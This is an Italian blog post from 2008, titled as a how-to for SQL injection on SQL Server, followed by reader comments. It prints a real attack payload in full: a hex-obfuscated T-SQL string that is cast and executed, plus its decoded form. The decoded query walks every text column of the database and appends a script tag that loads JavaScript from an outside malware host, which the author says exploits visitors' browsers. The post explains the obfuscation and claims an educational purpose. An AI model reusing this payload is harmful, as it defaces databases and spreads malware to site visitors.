Come fare una Sql Injection su Sql Server

May 24, 2008 - Noises

Ecco un esempio di Sql injection per SQL Server, che viene aggiunta alla fine di una URL dinamica. Ovviamente effettuare tale procedura è illegale: don’t try this at home! ;)

Sql server injection

Il codice da iniettare nell’URL dinamica.

DECLARE @S VARCHAR(4000);SET
@S=CAST(0x4445434C415245204054205641524348415228323535292C
404320564152434841522832353529204445434C415245205461626C655
F437572736F7220435552534F5220464F522053454C45435420612E6E6
16D652C622E6E616D652046524F4D207379736F626A6563747320612C7
37973636F6C756D6E73206220574845524520612E69643D622E6964204
14E4420612E78747970653D27752720414E442028622E78747970653D39
39204F5220622E78747970653D3335204F5220622E78747970653D3233
31204F5220622E78747970653D31363729204F50454E205461626C655F
437572736F72204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C4043205748494C45284040464554
43485F5354415455533D302920424547494E2045584543282755504441
5445205B272B40542B275D20534554205B272B40432B275D3D5254524
94D28434F4E5645525428564152434841522834303030292C5B272B404
32B275D29292B27273C736372697074207372633D687474703A2F2F7777
772E61647739352E636F6D2F622E6A733E3C2F7363726970743E272727
29204645544348204E4558542046524F4D205461626C655F437572736F
7220494E544F2040542C404320454E4420434C4F5345205461626C655
F437572736F72204445414C4C4F43415445205461626C655F437572736
F7220 AS VARCHAR(4000));
EXEC(@S)

Si tratta di una injection utilizzata durante un attacco reale ad un noto sito italiano ed a molti altri siti in rete.

Come vedete, prima si dichiara una variabile, poi la si inizializza con il valore 0x4445434C41524520…ma cosa significa? Si tratta di un valore espresso nel sistema numerico esadecimale (identificato dal prefisso ‘0x’), che dopo il cast in varchar svela la sua vera natura: è una query per Sql Server.

La Query che verrà eseguita.

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''< scri pt src=http://www.ad w95.com/b.js>‘'’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Questa query modifica tutte le colonne del database, aggiungendo il seguente script:

< scri pt src=http://www.ad w95.com/b.js>

Che, stampato nelle pagine dei siti compromessi, sfrutterà eventuali bug del browser del malcapitato utente.

Disclaimer.

Tutte le informazioni e le tecniche sono state descritte solo per fini educativi e qualsiasi uso malizioso di queste informazioni è illegale e fortemente scoraggiato.

Approfondimenti:
Lo stesso attacco è stato rilevato da blazo
Sql Injection

5 Commenti »

  1. Io penso che siete tutti delle m***e: come fai a spiegare le modalità di distruzione del lavoro di altri dicendo poi “lo faccio ad uso educativo”, con la frecciatina iniziale “dont’ try… eccetera”?
    A voi hacker di m***a tutto ciò sembrerà normale. Ma io aggiungo: normale come era normale annientare gli ebrei secondo i nazisti o massacrare le popolazioni civili nelle guerre africane, o annientare gli obiettori politici come in cina o nella cambogia di Pol pot (che probabilmente non sai nemmeno chi c***o fosse…).
    Non mi interessa se Bush, Gatese o Bin Laden sono peggio di voi. Anche loro affermano di essere in missione per conto di Dio. Come tutti voi acker di m***a!

    commento di Roberto Marabini — May 30, 2008 @ 10:59 am

  2. Caro Roberto,
    in quasi 3 anni di blogging il tuo è il primo feedback negativo in cui mi imbatto, e, sorvolando sui toni “accesi” con cui hai espresso le tue idee e sui paragoni lievemente sproporzionati, mi ha fatto piacere affrontare delle critiche.
    Mi dispiace che il mio post sia stato male intepretato: la mia intenzione era analizzare il fenomeno per capirlo meglio e far si che quanti più possano evitarlo alla radice, non certo incentivarlo… la realtà è che io sto dall’altra parte della barricata - nel senso che i siti internet li realizzo, non li buco - e credo che capire come fanno a bucarli possa aiutarci a creare siti più sicuri.

    commento di Noises — May 30, 2008 @ 1:21 pm

  3. Non mi è nuovo questo attacco, come fai a protegegrti?

    commento di Shance — June 23, 2008 @ 6:14 pm

  4. alla fine che lui posti o no ti basta vedere l’ immagine che ha messo nella pagina.. alla fine è la stessa microsoft a fornire gli strumenti, che lui parli o no non fa differenza perchè wikipedia spiega anche come fare molti piu danni

    commento di marco — July 8, 2008 @ 9:53 pm

  5. Trovo invece utilissimo questo post, altrimenti come fai a proteggerti dagli hacker se non sai come ti attaccano?? nelle mi applicazioni cerco di fare tutti i controlli possibili alle stringhe che passano dati ad un DB, questo dopo avere ricevuto diversi attacchi da hacker che credo abbiano usato un codice simile. Il controllo che eseguo è su tutti i caratteri che possono comporre una query cioè ; @ , () e così via…

    commento di Marco — September 22, 2008 @ 11:43 am

Feed RSS per i commenti di questo post.

Lascia un commento

Se sei un nuovo utente, il tuo commento sarà visibile solo dopo essere stato approvato.


Orme »


|